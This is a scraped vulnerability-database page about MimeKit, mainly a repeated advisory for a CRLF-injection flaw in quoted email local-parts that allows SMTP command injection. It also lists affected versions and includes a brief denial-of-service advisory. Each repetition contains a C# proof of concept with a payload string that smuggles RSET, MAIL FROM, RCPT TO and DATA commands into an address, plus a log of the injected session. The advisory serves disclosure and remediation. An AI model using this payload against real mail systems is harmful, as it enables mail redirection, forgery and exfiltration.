MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

GHSA-gmc6-fwg3-75m5 Jul 11, 2024

Mimekit has vulnerable dependency that can lead to denial of service

High

Network Low None None

Summary

Denial of service vulnerability.

Details

See: https://github.com/advisories/GHSA-447r-wph3-92pm and https://github.com/dotnet/announcements/issues/312

PoC

Update System.Security.Cryptography.Pkcs to 8.0.1 so that the transitive dependency with the issue gets updated

Impact

Denial of service vulnerability. Affects MimeKit (>= v3.0.0 and <= v4.7.0) when used to decrypt or verify incoming S/MIME messages as well as importing 3rd-party X.509 certificates for use with encrypting outgoing S/MIME messages.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.2.0


          3.3.0


          3.4.0


          3.4.1


          3.4.2


          3.4.3


          3.5.0


          3.6.0


          3.6.1

+ 8 more


            4.0.0


            4.1.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0

Fixed in


          4.7.1

References

Updated Nov 29, 2024 · Source: OSV.dev

Nov 11, 2023

4.2.0 minor

2 CVEs

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

GHSA-gmc6-fwg3-75m5 Jul 11, 2024

Mimekit has vulnerable dependency that can lead to denial of service

High

Network Low None None

Summary

Denial of service vulnerability.

Details

See: https://github.com/advisories/GHSA-447r-wph3-92pm and https://github.com/dotnet/announcements/issues/312

PoC

Update System.Security.Cryptography.Pkcs to 8.0.1 so that the transitive dependency with the issue gets updated

Impact

Denial of service vulnerability. Affects MimeKit (>= v3.0.0 and <= v4.7.0) when used to decrypt or verify incoming S/MIME messages as well as importing 3rd-party X.509 certificates for use with encrypting outgoing S/MIME messages.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.2.0


          3.3.0


          3.4.0


          3.4.1


          3.4.2


          3.4.3


          3.5.0


          3.6.0


          3.6.1

+ 8 more


            4.0.0


            4.1.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0

Fixed in


          4.7.1

References

Updated Nov 29, 2024 · Source: OSV.dev

Sep 02, 2023

4.1.0 minor

2 CVEs

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


